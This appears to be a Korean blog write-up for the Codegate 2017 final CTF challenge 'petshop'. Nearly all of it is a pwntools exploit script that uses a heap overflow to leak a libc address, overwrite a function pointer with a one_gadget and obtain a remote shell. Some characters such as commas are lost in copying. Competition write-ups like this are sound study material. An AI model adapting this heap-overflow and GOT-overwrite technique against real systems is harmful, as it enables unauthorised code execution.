[codegate final] petshop

CTF/2017 2017. 4. 28. 13:36

이번 코게 본선때 유일하게 풀었던 문제 입니다. ㅋㅋ
heapoverflow가 일어나는데 이안에있던 포인터를 덮어서 익스를 짰습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
# !/usr/bin/env python
# powerprove
 
from pwn import *
 
host = "localhost"
port = 4000
 
#s = remote("localhost", 4000)
= remote("200.200.200.105"9899)
raw_input()
 
def menu(index):
    s.recvuntil("select")
    s.sendline(str(index))
 
def name(name):
    menu(6)
    s.recvuntil("name?")
    s.sendline(name)
 
def set_pet(index, name, sound, feed):
    menu(4)
    s.recvuntil("set")
    s.sendline(str(index))
    s.recvuntil("name")
    s.sendline(name)
    s.recvuntil("sound")
    s.sendline(sound)
    s.recvuntil("feed")
    s.sendline(feed)
 
def buy(index):
    menu(1)
    s.recvuntil("select")
    s.sendline(str(index))
 
if __name__ == "__main__":
    buy(1)
    buy(2)
    name("AAAAAAAA")
    set_pet(2"A""B""C"*12+p64(0x604040)+"\x08")
    menu(5)
    s.recvuntil("person")
    s.recvuntil("person:")
 
    libc_start_main = u64(s.recv(8))
    libc_base = libc_start_main - 0x20740
    system_addr = libc_base + 0x45390
    one_shot = libc_base + 0xef6c4
    log.info("libc_start_main     : "+str(hex(libc_start_main)))
    log.info("libc_base           : "+str(hex(libc_base)))
    log.info("system_addr         : "+str(hex(system_addr)))
    set_pet(2"A""B""C"*12+p64(0x604028)+"\x08")
    name(p64(one_shot))
    s.interactive()
cs


'CTF > 2017' 카테고리의 다른 글

허스트 CTF pwn write up  (0) 2017.05.31
DEFCON_2017 beatmeonthedl  (0) 2017.05.07
DEFCON - smashme  (0) 2017.05.07
codegate 2017 - messenger write up  (0) 2017.04.05
codegate 2017 - babypwn write up  (0) 2017.04.05
블로그 이미지

powerprove

,